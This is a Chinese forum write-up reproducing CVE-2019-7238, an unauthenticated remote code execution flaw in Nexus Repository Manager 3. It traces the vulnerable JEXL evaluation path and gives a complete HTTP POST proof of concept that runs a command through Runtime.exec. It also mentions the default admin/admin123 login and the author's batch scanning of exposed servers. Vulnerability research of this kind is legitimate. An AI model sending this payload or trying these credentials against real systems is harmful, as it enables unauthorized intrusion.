Nexus Repository Manager 3远程代码执行漏洞复现

master666   ·   发表于 2020-06-12 23:45:25   ·   漏洞文章

0X00

大家好,我是Master先生,一位学习道路上的行者。

猛然间突发奇想今天更新一篇文章。菜的出水的我,今天复现一个Nexus Repository Manager 3远程代码执行漏洞。名字看着全英文,感觉很高大上。结果我用Zoomeye一搜,竟然是中国人的天下。

事先声明,本文章仅用于学习交流,请勿用于其它用途!

0X01

首先介绍一下。Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库。其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。

0X02

可能很多同学又怀疑我要安排代码吧,我先附赠一个简单的漏洞当作开始,这个漏洞学不会打我。
nexus存在弱口令admin/admin123可以进入。当然存在好多弱口令,不要瞎搞呀,上一个测试截图。

如果说登录后还可以利用别的漏洞,这次不做研究,因为今天的主角不是他。

0X03

影响范围:Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本

CVE-2019-7238:Nexus Repository Manager 3 远程代码执行漏洞

漏洞的触发主要分两部分:post包解析及jexl表达式执行。

由于我的JAVA只有浅层次的学习,只能看懂部分。过程分析参考了一下大佬的。看不懂,请忽略,附件有POC

post包解析
首先先看一下web.xml中如何做的路由解析:

org.sonatype.nexus.bootstrap.osgi.DelegatingFilter拦截了所有的请求,大概率为动态路由加载,动态路由加载需要配置相应的Module模块用代码将配置与路由进行绑定并显式加载servlet,而该漏洞的入口就在org.sonatype.nexus.extdirect.internal.ExtDirectModule#configure中:

直接跟进org.sonatype.nexus.extdirect.internal.ExtDirectServlet$doPost:

继续向下更进看到处理post请求的部分:

在这里我们跟进看一下如何对json格式的请求进行处理:

首先对json的语法树进行解析,将数据提取出来:

可以看到需要5个变量分别为action、method、tid、type、data。

注意到isBatched是由参数长度决定的,而返回的一个数组,其长度为1,所以isBatched为false。之后就是传入processIndividualRequestsInThisThread方法中:

在这里构造返回的结果,可以看到这里在有一个json序列化的过程,这里主要是将返回结果以json格式返回。

jexl表达式执行
从post包的解析中可以得知我们需要构造5个参数,同时当我们构造好action和method后,可以直接动态调用相应的类与方法。

这个漏洞出现在org.sonatype.nexus.coreui.ComponentComponent#previewAssets:

首先将post包中repositoryName、expression、type的值取出来,这三个参数分别代表已经存在的repository的名字、表达式,以及表达式的类型。

着重看一下jexl的处理过程:

注意到这里只是实例化了一个JexlSelector对象,而并没有调用evaluate来执行表达式,所以漏洞的触发点在其他的位置。而真正的表达式执行点在browseService.previewAssets的处理过程中,这一点也是这个漏洞最为难找的一个点。

跟进previewAssets的实现,在org.sonatype.nexus.repository.browse.internal.BrowseServiceImpl#previewAssets:

在这里可以看到表达式最后会被当做参数形成SQL查询,最后由OrientDb执行:

但是OrientDb本身是没有contentExpression这个方法的,也就是说明这个方法是用Java来实现的,找了一下,在org.sonatype.nexus.repository.selector.internal.ContentExpressionFunction:

在checkJexlExpression中:

调用了selectorManage.evaluate来执行jexl表达式:

0X04

利用脚本批量扫了一下,看到还是存在很多的。

POC

POST /service/extdirect HTTP/1.1
Host:127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/json
Content-Length: 308
Connection: close

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":25,"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":4}


附件放一个批量脚本。使用如图:

用户名金币积分时间理由
admin 200.00 0 2020-06-15 15:03:21 不错的分享!

打赏我,让我更有动力~

3 条回复   |  直到 2021-4-15 | 2008 次浏览

帆先生
发表于 2020-6-15

111

评论列表

  • 加载数据中...

编写评论内容

常长老
发表于 2020-6-17

前来学习

评论列表

  • 加载数据中...

编写评论内容

柠檬
发表于 2021-4-15

666

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.